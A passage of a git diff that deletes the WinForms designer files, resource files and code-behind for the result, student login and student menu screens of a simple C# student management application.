((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(10, 149); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(104, 38); - this.label2.TabIndex = 0; - this.label2.Text = "Back To Main Menu"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // resultGV - // - this.resultGV.AllowUserToAddRows = false; - this.resultGV.BackgroundColor = System.Drawing.Color.White; - this.resultGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.resultGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.resultGV.GridColor = System.Drawing.Color.Green; - this.resultGV.Location = new System.Drawing.Point(133, 110); - this.resultGV.Name = "resultGV"; - this.resultGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.resultGV.ShowEditingIcon = false; - this.resultGV.Size = new System.Drawing.Size(664, 337); - this.resultGV.TabIndex = 1; - this.resultGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.resultGV_CellContentClick); - // - // ShowResultForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ShowResultForm"; - this.Text = "ShowResultForm"; - this.Load += new System.EventHandler(this.ShowResultForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.resultGV)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label2; - public System.Windows.Forms.DataGridView resultGV; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ShowResultForm.cs b/Add Code Here/C#/CMS/ShowResultForm.cs deleted file mode 100644 index 07a289d8652..00000000000 --- a/Add Code Here/C#/CMS/ShowResultForm.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class ShowResultForm : Form - { - public ShowResultForm() - { - InitializeComponent(); - ResultDL.Result = ResultDL.Result.OrderByDescending(o => o.Total).ToList(); - } - - private void resultGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - - } - - private void ShowResultForm_Load(object sender, EventArgs e) - { - resultGV.DataSource = ResultDL.Result; - } - - private void label2_Click(object sender, EventArgs e) - { - AdminMenu menu = new AdminMenu(); - menu.Show(); - this.Close(); - } - } -} diff --git a/Add Code Here/C#/CMS/ShowResultForm.resx b/Add Code Here/C#/CMS/ShowResultForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ShowResultForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentLoginForm.Designer.cs b/Add Code Here/C#/CMS/StudentLoginForm.Designer.cs deleted file mode 100644 index 4b82436f5e0..00000000000 --- a/Add Code Here/C#/CMS/StudentLoginForm.Designer.cs +++ /dev/null @@ -1,250 +0,0 @@ - -namespace CMS -{ - partial class StudentLoginForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.button1 = new System.Windows.Forms.Button(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.loginbutton = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.BackColor = System.Drawing.Color.Ivory; - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 13.68541F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 86.31459F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 20.46875F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 79.53125F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1761, 640); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.images; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(235, 125); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(244, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1514, 125); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(641, 48); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(232, 28); - this.label1.TabIndex = 0; - this.label1.Text = "Student Login Form"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 2; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 134); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(235, 503); - this.tableLayoutPanel3.TabIndex = 2; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel4.BackColor = System.Drawing.Color.Bisque; - this.tableLayoutPanel4.ColumnCount = 2; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 37.61755F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 62.38245F)); - this.tableLayoutPanel4.Controls.Add(this.button1, 1, 2); - this.tableLayoutPanel4.Controls.Add(this.PasswordBox, 1, 1); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.NameBox, 1, 0); - this.tableLayoutPanel4.Controls.Add(this.loginbutton, 0, 2); - this.tableLayoutPanel4.Location = new System.Drawing.Point(682, 223); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 3; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 52.92308F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 47.07692F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 116F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(638, 325); - this.tableLayoutPanel4.TabIndex = 3; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Red; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(384, 231); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(109, 70); - this.button1.TabIndex = 5; - this.button1.Text = "LogOut"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(247, 145); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(382, 28); - this.PasswordBox.TabIndex = 3; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(60, 145); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(118, 28); - this.label3.TabIndex = 2; - this.label3.Text = "Password"; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(81, 41); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(77, 28); - this.label2.TabIndex = 1; - this.label2.Text = "Name"; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(247, 41); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(382, 28); - this.NameBox.TabIndex = 0; - // - // loginbutton - // - this.loginbutton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.loginbutton.BackColor = System.Drawing.Color.White; - this.loginbutton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.loginbutton.Location = new System.Drawing.Point(65, 231); - this.loginbutton.Name = "loginbutton"; - this.loginbutton.Size = new System.Drawing.Size(109, 70); - this.loginbutton.TabIndex = 4; - this.loginbutton.Text = "Login"; - this.loginbutton.UseVisualStyleBackColor = false; - this.loginbutton.Click += new System.EventHandler(this.loginbutton_Click); - // - // StudentLoginForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1761, 640); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "StudentLoginForm"; - this.Text = "StudentLoginForm"; - this.Load += new System.EventHandler(this.StudentLoginForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.Button button1; - private System.Windows.Forms.Button loginbutton; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentLoginForm.cs b/Add Code Here/C#/CMS/StudentLoginForm.cs deleted file mode 100644 index 926c0217547..00000000000 --- a/Add Code Here/C#/CMS/StudentLoginForm.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class StudentLoginForm : Form - { - public StudentLoginForm() - { - InitializeComponent(); - } - - private void StudentLoginForm_Load(object sender, EventArgs e) - { - - } - - private void loginbutton_Click(object sender, EventArgs e) - { - string name = NameBox.Text; - string password = PasswordBox.Text; - STUDENTBL student=STUDENTDL.isStudentValid(name, password); - bool checker = STUDENTDL.isValid(name, password); - if(checker == true) - { - StudentMenu menu = new StudentMenu(student); - menu.Show(); - } - } - - private void button1_Click(object sender, EventArgs e) - { - this.Close(); - Form1 mainpage = new Form1(); - mainpage.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/StudentLoginForm.resx b/Add Code Here/C#/CMS/StudentLoginForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/StudentLoginForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentMenu.Designer.cs b/Add Code Here/C#/CMS/StudentMenu.Designer.cs deleted file mode 100644 index b6f51aed427..00000000000 --- a/Add Code Here/C#/CMS/StudentMenu.Designer.cs +++ /dev/null @@ -1,234 +0,0 @@ - -namespace CMS -{ - partial class StudentMenu - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 23.5F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 76.5F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 25.11111F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 74.88889F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1733, 680); - this.tableLayoutPanel1.TabIndex = 0; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(401, 164); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(140, 70); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(121, 24); - this.label1.TabIndex = 0; - this.label1.Text = "DashBoard"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(410, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(1320, 164); - this.tableLayoutPanel3.TabIndex = 1; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(583, 70); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(153, 24); - this.label2.TabIndex = 1; - this.label2.Text = "Student Form"; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.label4, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label5, 0, 2); - this.tableLayoutPanel4.Controls.Add(this.button1, 0, 4); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 173); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 5; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 40.41451F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 59.58549F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 112F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 106F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 112F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(401, 504); - this.tableLayoutPanel4.TabIndex = 2; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(106, 23); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(189, 24); - this.label3.TabIndex = 2; - this.label3.Text = "Change Password"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(126, 109); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(148, 24); - this.label4.TabIndex = 3; - this.label4.Text = "Check Result"; - this.label4.Click += new System.EventHandler(this.label4_Click); - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(126, 217); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(148, 24); - this.label5.TabIndex = 4; - this.label5.Text = "Check Notice"; - this.label5.Click += new System.EventHandler(this.label5_Click); - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Red; - this.button1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(137, 409); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(126, 77); - this.button1.TabIndex = 3; - this.button1.Text = "Logout"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // StudentMenu - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1733, 680); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "StudentMenu"; - this.Text = "StudentMenu"; - this.Load += new System.EventHandler(this.StudentMenu_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Button button1; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentMenu.cs b/Add Code Here/C#/CMS/StudentMenu.cs deleted file mode 100644 index 43565aae959..00000000000 --- a/Add Code Here/C#/CMS/StudentMenu.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class StudentMenu : Form - { - private static STUDENTBL updated; - public 